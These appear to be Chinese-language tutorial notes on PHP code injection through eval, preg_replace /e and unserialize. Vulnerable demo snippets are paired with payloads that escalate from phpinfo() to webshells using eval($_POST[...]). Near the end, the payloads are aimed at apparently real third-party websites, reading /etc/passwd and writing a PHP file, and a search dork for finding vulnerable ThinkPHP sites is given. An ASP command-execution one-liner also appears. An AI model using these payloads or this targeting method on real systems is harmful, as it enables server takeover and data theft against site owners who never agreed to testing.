几种常用语言,都有将字符串转化成代码去执行的相关函数
eval assert
<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
exec
Java中没有类似php中eval函数直
接可以将字符串转化为代码执行
的函数,但是有反射机制,如反
射机制的表达式引擎:OGNL SpEL MVEL
执行代码的函数
assert()
callback回调函数
preg_replace()+/e模式
preg_replace函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。
反序列化函数
unserialize()
eval()
执行php代码
demo 1
$data=$_GET['data'];
eval("\$ret=$data;");
echo $ret;
phpinfo()
http://192.168.188.66/code_inject/1/?data=phpinfo()
http://192.168.188.66/code_inject/1/?data=1;phpinfo();
或
http://192.168.188.66/code_inject/1/?data=${phpinfo()}
getshell
http://192.168.188.66/code_inject/1/?data=1;@eval($_POST[a]);
或
http://172.16.77.145/code_inject/1.php?data=${eval($_POST[T])}
完整语句构造:
eval("
$data=1;
@eval($_POST[a]);
")
demo 2
$data=$_GET['data'];
echo "\$ret='$data';";
eval("\$ret=strtolower('$data');");
echo $ret;
phpinfo()
/?data=123');phpinfo();//
完整语句构造:
$ret=strtolower('123');
闭合单引号
$ret=strtolower('');
phpinfo();//123');
getshell
/?data=123');eval($_POST[k]);//
demo 3
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
phpinfo()
/?data={${phpinfo()}}
或
/?data=");phpinfo();//
完整语句构造:
eval("
$ret=strtolower("");
phpinfo();
//");
")
或
eval("
$ret=strtolower("{${phpinfo()}}");
getshell
/?data={${eval($_POST[k])}}
demo 4
$data = $_GET['data'];
echo $data;
preg_replace('/(.*)<\/data>/e', '$ret = "\\1";', $data);
echo $ret;
phpinfo()
http://192.168.188.66/code_inject/4/?data=<data>{${phpinfo()}}data>
完整语句构造:
$ret="{${phpinfo()}}"
getshell
?data="{${eval($_POST[k])}}"
php反序列化
序列化是对象持久化的一项技术,保存了对象之前的状态和数据,为了方便网络传输。
在php中,可以对数组,变量,对象等进行序列化(静态变量,常量不会被序列化)
class TestSerialize{
private $name;
private $password;
const ID = 1234;
public static $_class_name = __CLASS__;
public function __set($varname,$value){
$this->$varname = $value;
}
public function __get($varname)
{
return $this->$varname;
}
}
$data = array(
'name'=>'zhangsan',
'password'=>'pwd123'
);
$test = 'abcd';
$ts = new TestSerialize();
$ts->name = 'zhangsan_2';
$ts->password = 'pwd123_2';
echo 'var=>'.serialize($test).'
';
echo 'array=>'.serialize($data).'
';
echo 'object=>'.serialize($ts).'
';
?>
输出结果
var=>s:4:"abcd";
array=>a:2:{s:4:"name";s:8:"zhangsan";s:8:"password";s:6:"pwd123";}
object=>O:13:"TestSerialize":2:{s:19:"TestSerializename";s:10:"zhangsan_2";s:23:"TestSerializepassword";s:8:"pwd123_2";}
如果我们知道代码类的定义,就可以构造代码执行
demo
服务端代码
class foo {
public $file = "test.txt"; public $data = "123456";
function __destruct() { file_put_contents($this->file, $this->data);
} }
$d = $_REQUEST['str'];
var_dump($d);
echo "
";
$tc = unserialize( base64_decode( $d ) ); //$tc = unserialize($_POST["str"]); var_dump($tc);
我们构造序列化
class foo {
public $file = "test.txt"; public $data = "123456";
function __destruct() { file_put_contents($this->file, $this->data);
} }
$f = new foo();
$f->file = "1.php";
$f->data = " phpinfo(); ?>";
echo base64_encode(serialize($f));
生成
TzozOiJmb28iOjI6e3M6NDoiZmlsZSI7czo1OiIxLnBocCI7czo0OiJkYXRhIjtzOjE2OiI8PyBwaHBpbmZvKCk7ID8+Ijt9
将生成的值提交给服务端就产生了漏洞
http://www.shichidachina.com/News/detail/item/{${@eval($_POST[1999])}}
http://www.shichidachina.com/News/detail/item/{${print(getcwd())}}
http://www.shichidachina.com/News/detail/item/{$ {exit(var_dump(file_get_contents($_POST[f])))}}
f=/etc/passwd
http://www.shichidachina.com/News/detail/item/{$
{exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}} f=h4lp.php&d=22222
thinkphp 框架 可能存在 代码执行漏洞的
搜索方式 intext:thinkphp intext:”Fast & Simple OOP PHP Framework” intext:”2.1”
http://www.sinosteelchem.com/product_detail_en/id/$%7B%20phpinfo()%20%7D
http://www.sjzy.org/index/rzkc_view/fid/70/eid/$%7B%20phpinfo()%7D
http://www.shichidachina.com/News/detail/item/$%7B@%20phpinfo()%20%7D
eval()
$data = addslashes($data);
eval("\$data = deal('$data');");
preg_replace()